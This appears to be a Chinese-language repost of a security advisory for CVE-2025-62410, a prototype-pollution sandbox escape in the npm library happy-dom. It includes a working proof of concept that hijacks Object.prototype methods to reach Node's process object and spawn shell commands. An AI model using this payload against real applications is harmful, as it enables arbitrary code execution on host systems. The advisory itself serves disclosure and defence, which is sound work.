Happy-Dom 安全漏洞:原型污染可绕过沙箱隔离实现任意代码执行

本文详细分析了CVE-2025-62410漏洞。该漏洞影响Happy-Dom库,其用于隔离不可信JavaScript代码的`--disallow-code-generation-from-strings`防护措施存在缺陷,攻击者可通过原型污染获取关键引用并执行任意命令。

漏洞详情

包管理器 npm

受影响包 happy-dom (npm)

受影响版本 >= 19.0.0, < 20.0.2

已修复版本 20.0.2

描述

摘要 针对 GHSA-37j7-fg3j-429f 提出的、用于在 happy-dom 中执行不可信代码时禁用 eval/Function 的缓解措施并不充分,因为它仍然允许原型污染有效载荷。

详细信息 不可信脚本和应用程序的其余部分仍在同一个 Isolate/进程中运行,因此攻击者可以部署原型污染有效载荷来劫持重要引用,如下例中的 process,或者通过翻转对未定义属性的检查来劫持控制流。可能还有其他有效载荷允许通过(通用)小工具来操纵 require(参见:https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf)。

概念验证 (PoC) 攻击者可以污染内置对象,如 Object.prototype.hasOwnProperty(),以在运行时获取重要引用,例如 process。通过这种方式,攻击者可能能够通过 spawn() 执行任意命令,如下例所示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // 可以以这种方式被滥用的其他方法:isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

影响 通过突破 Node.js 的 vm 隔离实现任意代码执行。

建议的紧急措施 用户可以通过冻结全局作用域中的内置对象来防御与上述 PoC 类似的攻击。但是,即使没有原型污染的能力,不可信代码可能仍然能够检索全局作用域中可用的各种信息并通过 fetch() 将其外泄。更不用说共享进程/隔离区引起的侧信道了。建议迁移到 isolated-vm

致谢 Endor Labs 安全研究团队的 Cris(他在 JavaScript 沙箱方面有丰富的工作经验)提交了此公告。

引用

严重性

CVSS 总体评分:9.4(严重)

CVSS v4 基础指标 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

缺陷

弱点

  • CWE-1321 - 对对象原型属性修改控制不当(原型污染)
    • 产品从上游组件接收指定要初始化或更新对象属性的输入,但没有适当控制对象原型属性的修改。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计